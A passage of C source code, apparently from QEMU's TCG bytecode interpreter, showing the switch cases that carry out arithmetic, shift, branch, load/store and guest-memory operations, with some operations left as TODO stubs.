        case INDEX_op_sub_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 - t2);
            break;
        case INDEX_op_mul_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 * t2);
            break;
#if TCG_TARGET_HAS_div_i32
        case INDEX_op_div_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, (int32_t)t1 / (int32_t)t2);
            break;
        case INDEX_op_divu_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 / t2);
            break;
        case INDEX_op_rem_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, (int32_t)t1 % (int32_t)t2);
            break;
        case INDEX_op_remu_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 % t2);
            break;
#elif TCG_TARGET_HAS_div2_i32
        case INDEX_op_div2_i32:
        case INDEX_op_divu2_i32:
            TODO();
            break;
#endif
        case INDEX_op_and_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 & t2);
            break;
        case INDEX_op_or_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 | t2);
            break;
        case INDEX_op_xor_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 ^ t2);
            break;

            /* Shift/rotate operations (32 bit). */

        case INDEX_op_shl_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 << t2);
            break;
        case INDEX_op_shr_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, t1 >> t2);
            break;
        case INDEX_op_sar_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, ((int32_t)t1 >> t2));
            break;
#if TCG_TARGET_HAS_rot_i32
        case INDEX_op_rotl_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, rol32(t1, t2));
            break;
        case INDEX_op_rotr_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_ri32(&tb_ptr);
            t2 = tci_read_ri32(&tb_ptr);
            tci_write_reg32(t0, ror32(t1, t2));
            break;
#endif
#if TCG_TARGET_HAS_deposit_i32
        case INDEX_op_deposit_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            t2 = tci_read_r32(&tb_ptr);
            tmp16 = *tb_ptr++;
            tmp8 = *tb_ptr++;
            tmp32 = (((1 << tmp8) - 1) << tmp16);
            tci_write_reg32(t0, (t1 & ~tmp32) | ((t2 << tmp16) & tmp32));
            break;
#endif
        case INDEX_op_brcond_i32:
            t0 = tci_read_r32(&tb_ptr);
            t1 = tci_read_ri32(&tb_ptr);
            condition = *tb_ptr++;
            label = tci_read_label(&tb_ptr);
            if (tci_compare32(t0, t1, condition)) {
                assert(tb_ptr == old_code_ptr + op_size);
                tb_ptr = (uint8_t *)label;
                continue;
            }
            break;
#if TCG_TARGET_REG_BITS == 32
        case INDEX_op_add2_i32:
            t0 = *tb_ptr++;
            t1 = *tb_ptr++;
            tmp64 = tci_read_r64(&tb_ptr);
            tmp64 += tci_read_r64(&tb_ptr);
            tci_write_reg64(t1, t0, tmp64);
            break;
        case INDEX_op_sub2_i32:
            t0 = *tb_ptr++;
            t1 = *tb_ptr++;
            tmp64 = tci_read_r64(&tb_ptr);
            tmp64 -= tci_read_r64(&tb_ptr);
            tci_write_reg64(t1, t0, tmp64);
            break;
        case INDEX_op_brcond2_i32:
            tmp64 = tci_read_r64(&tb_ptr);
            v64 = tci_read_ri64(&tb_ptr);
            condition = *tb_ptr++;
            label = tci_read_label(&tb_ptr);
            if (tci_compare64(tmp64, v64, condition)) {
                assert(tb_ptr == old_code_ptr + op_size);
                tb_ptr = (uint8_t *)label;
                continue;
            }
            break;
        case INDEX_op_mulu2_i32:
            t0 = *tb_ptr++;
            t1 = *tb_ptr++;
            t2 = tci_read_r32(&tb_ptr);
            tmp64 = tci_read_r32(&tb_ptr);
            tci_write_reg64(t1, t0, t2 * tmp64);
            break;
#endif /* TCG_TARGET_REG_BITS == 32 */
#if TCG_TARGET_HAS_ext8s_i32
        case INDEX_op_ext8s_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r8s(&tb_ptr);
            tci_write_reg32(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext16s_i32
        case INDEX_op_ext16s_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r16s(&tb_ptr);
            tci_write_reg32(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext8u_i32
        case INDEX_op_ext8u_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r8(&tb_ptr);
            tci_write_reg32(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext16u_i32
        case INDEX_op_ext16u_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r16(&tb_ptr);
            tci_write_reg32(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_bswap16_i32
        case INDEX_op_bswap16_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r16(&tb_ptr);
            tci_write_reg32(t0, bswap16(t1));
            break;
#endif
#if TCG_TARGET_HAS_bswap32_i32
        case INDEX_op_bswap32_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            tci_write_reg32(t0, bswap32(t1));
            break;
#endif
#if TCG_TARGET_HAS_not_i32
        case INDEX_op_not_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            tci_write_reg32(t0, ~t1);
            break;
#endif
#if TCG_TARGET_HAS_neg_i32
        case INDEX_op_neg_i32:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            tci_write_reg32(t0, -t1);
            break;
#endif
#if TCG_TARGET_REG_BITS == 64
        case INDEX_op_mov_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r64(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
        case INDEX_op_movi_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_i64(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;

            /* Load/store operations (64 bit). */

        case INDEX_op_ld8u_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            tci_write_reg8(t0, *(uint8_t *)(t1 + t2));
            break;
        case INDEX_op_ld8s_i64:
        case INDEX_op_ld16u_i64:
        case INDEX_op_ld16s_i64:
            TODO();
            break;
        case INDEX_op_ld32u_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            tci_write_reg32(t0, *(uint32_t *)(t1 + t2));
            break;
        case INDEX_op_ld32s_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            tci_write_reg32s(t0, *(int32_t *)(t1 + t2));
            break;
        case INDEX_op_ld_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            tci_write_reg64(t0, *(uint64_t *)(t1 + t2));
            break;
        case INDEX_op_st8_i64:
            t0 = tci_read_r8(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            *(uint8_t *)(t1 + t2) = t0;
            break;
        case INDEX_op_st16_i64:
            t0 = tci_read_r16(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            *(uint16_t *)(t1 + t2) = t0;
            break;
        case INDEX_op_st32_i64:
            t0 = tci_read_r32(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            *(uint32_t *)(t1 + t2) = t0;
            break;
        case INDEX_op_st_i64:
            t0 = tci_read_r64(&tb_ptr);
            t1 = tci_read_r(&tb_ptr);
            t2 = tci_read_s32(&tb_ptr);
            assert(t1 != sp_value || (int32_t)t2 < 0);
            *(uint64_t *)(t1 + t2) = t0;
            break;

            /* Arithmetic operations (64 bit). */

        case INDEX_op_add_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 + t2);
            break;
        case INDEX_op_sub_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 - t2);
            break;
        case INDEX_op_mul_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 * t2);
            break;
#if TCG_TARGET_HAS_div_i64
        case INDEX_op_div_i64:
        case INDEX_op_divu_i64:
        case INDEX_op_rem_i64:
        case INDEX_op_remu_i64:
            TODO();
            break;
#elif TCG_TARGET_HAS_div2_i64
        case INDEX_op_div2_i64:
        case INDEX_op_divu2_i64:
            TODO();
            break;
#endif
        case INDEX_op_and_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 & t2);
            break;
        case INDEX_op_or_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 | t2);
            break;
        case INDEX_op_xor_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 ^ t2);
            break;

            /* Shift/rotate operations (64 bit). */

        case INDEX_op_shl_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 << t2);
            break;
        case INDEX_op_shr_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, t1 >> t2);
            break;
        case INDEX_op_sar_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, ((int64_t)t1 >> t2));
            break;
#if TCG_TARGET_HAS_rot_i64
        case INDEX_op_rotl_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, rol64(t1, t2));
            break;
        case INDEX_op_rotr_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_ri64(&tb_ptr);
            t2 = tci_read_ri64(&tb_ptr);
            tci_write_reg64(t0, ror64(t1, t2));
            break;
#endif
#if TCG_TARGET_HAS_deposit_i64
        case INDEX_op_deposit_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r64(&tb_ptr);
            t2 = tci_read_r64(&tb_ptr);
            tmp16 = *tb_ptr++;
            tmp8 = *tb_ptr++;
            tmp64 = (((1ULL << tmp8) - 1) << tmp16);
            tci_write_reg64(t0, (t1 & ~tmp64) | ((t2 << tmp16) & tmp64));
            break;
#endif
        case INDEX_op_brcond_i64:
            t0 = tci_read_r64(&tb_ptr);
            t1 = tci_read_ri64(&tb_ptr);
            condition = *tb_ptr++;
            label = tci_read_label(&tb_ptr);
            if (tci_compare64(t0, t1, condition)) {
                assert(tb_ptr == old_code_ptr + op_size);
                tb_ptr = (uint8_t *)label;
                continue;
            }
            break;
#if TCG_TARGET_HAS_ext8u_i64
        case INDEX_op_ext8u_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r8(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext8s_i64
        case INDEX_op_ext8s_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r8s(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext16s_i64
        case INDEX_op_ext16s_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r16s(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext16u_i64
        case INDEX_op_ext16u_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r16(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext32s_i64
        case INDEX_op_ext32s_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r32s(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_ext32u_i64
        case INDEX_op_ext32u_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            tci_write_reg64(t0, t1);
            break;
#endif
#if TCG_TARGET_HAS_bswap16_i64
        case INDEX_op_bswap16_i64:
            TODO();
            t0 = *tb_ptr++;
            t1 = tci_read_r16(&tb_ptr);
            tci_write_reg64(t0, bswap16(t1));
            break;
#endif
#if TCG_TARGET_HAS_bswap32_i64
        case INDEX_op_bswap32_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r32(&tb_ptr);
            tci_write_reg64(t0, bswap32(t1));
            break;
#endif
#if TCG_TARGET_HAS_bswap64_i64
        case INDEX_op_bswap64_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r64(&tb_ptr);
            tci_write_reg64(t0, bswap64(t1));
            break;
#endif
#if TCG_TARGET_HAS_not_i64
        case INDEX_op_not_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r64(&tb_ptr);
            tci_write_reg64(t0, ~t1);
            break;
#endif
#if TCG_TARGET_HAS_neg_i64
        case INDEX_op_neg_i64:
            t0 = *tb_ptr++;
            t1 = tci_read_r64(&tb_ptr);
            tci_write_reg64(t0, -t1);
            break;
#endif
#endif /* TCG_TARGET_REG_BITS == 64 */

            /* QEMU specific operations. */

#if TARGET_LONG_BITS > TCG_TARGET_REG_BITS
        case INDEX_op_debug_insn_start:
            TODO();
            break;
#else
        case INDEX_op_debug_insn_start:
            TODO();
            break;
#endif
        case INDEX_op_exit_tb:
            next_tb = *(uint64_t *)tb_ptr;
            goto exit;
            break;
        case INDEX_op_goto_tb:
            t0 = tci_read_i32(&tb_ptr);
            assert(tb_ptr == old_code_ptr + op_size);
            tb_ptr += (int32_t)t0;
            continue;
        case INDEX_op_qemu_ld8u:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp8 = helper_ldb_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp8 = *(uint8_t *)(host_addr + GUEST_BASE);
#endif
            tci_write_reg8(t0, tmp8);
            break;
        case INDEX_op_qemu_ld8s:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp8 = helper_ldb_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp8 = *(uint8_t *)(host_addr + GUEST_BASE);
#endif
            tci_write_reg8s(t0, tmp8);
            break;
        case INDEX_op_qemu_ld16u:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp16 = helper_ldw_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp16 = tswap16(*(uint16_t *)(host_addr + GUEST_BASE));
#endif
            tci_write_reg16(t0, tmp16);
            break;
        case INDEX_op_qemu_ld16s:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp16 = helper_ldw_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp16 = tswap16(*(uint16_t *)(host_addr + GUEST_BASE));
#endif
            tci_write_reg16s(t0, tmp16);
            break;
#if TCG_TARGET_REG_BITS == 64
        case INDEX_op_qemu_ld32u:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp32 = helper_ldl_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp32 = tswap32(*(uint32_t *)(host_addr + GUEST_BASE));
#endif
            tci_write_reg32(t0, tmp32);
            break;
        case INDEX_op_qemu_ld32s:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp32 = helper_ldl_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp32 = tswap32(*(uint32_t *)(host_addr + GUEST_BASE));
#endif
            tci_write_reg32s(t0, tmp32);
            break;
#endif /* TCG_TARGET_REG_BITS == 64 */
        case INDEX_op_qemu_ld32:
            t0 = *tb_ptr++;
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp32 = helper_ldl_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp32 = tswap32(*(uint32_t *)(host_addr + GUEST_BASE));
#endif
            tci_write_reg32(t0, tmp32);
            break;
        case INDEX_op_qemu_ld64:
            t0 = *tb_ptr++;
#if TCG_TARGET_REG_BITS == 32
            t1 = *tb_ptr++;
#endif
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            tmp64 = helper_ldq_mmu(env, taddr, tci_read_i(&tb_ptr));
#else
            host_addr = (tcg_target_ulong)taddr;
            tmp64 = tswap64(*(uint64_t *)(host_addr + GUEST_BASE));
#endif
            tci_write_reg(t0, tmp64);
#if TCG_TARGET_REG_BITS == 32
            tci_write_reg(t1, tmp64 >> 32);
#endif
            break;
        case INDEX_op_qemu_st8:
            t0 = tci_read_r8(&tb_ptr);
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            t2 = tci_read_i(&tb_ptr);
            helper_stb_mmu(env, taddr, t0, t2);
#else
            host_addr = (tcg_target_ulong)taddr;
            *(uint8_t *)(host_addr + GUEST_BASE) = t0;
#endif
            break;
        case INDEX_op_qemu_st16:
            t0 = tci_read_r16(&tb_ptr);
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            t2 = tci_read_i(&tb_ptr);
            helper_stw_mmu(env, taddr, t0, t2);
#else
            host_addr = (tcg_target_ulong)taddr;
            *(uint16_t *)(host_addr + GUEST_BASE) = tswap16(t0);
#endif
            break;
        case INDEX_op_qemu_st32:
            t0 = tci_read_r32(&tb_ptr);
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            t2 = tci_read_i(&tb_ptr);
            helper_stl_mmu(env, taddr, t0, t2);
#else
            host_addr = (tcg_target_ulong)taddr;
            *(uint32_t *)(host_addr + GUEST_BASE) = tswap32(t0);
#endif
            break;
        case INDEX_op_qemu_st64:
            tmp64 = tci_read_r64(&tb_ptr);
            taddr = tci_read_ulong(&tb_ptr);
#ifdef CONFIG_SOFTMMU
            t2 = tci_read_i(&tb_ptr);
            helper_stq_mmu(env, taddr, tmp64, t2);
#else
            host_addr = (tcg_target_ulong)taddr;
            *(uint64_t *)(host_addr + GUEST_BASE) = tswap64(tmp64);
#endif
            break;
        default:
            TODO();
            break;
        }
        assert(tb_ptr == old_code_ptr + op_size);
    }
exit:
    return next_tb;
}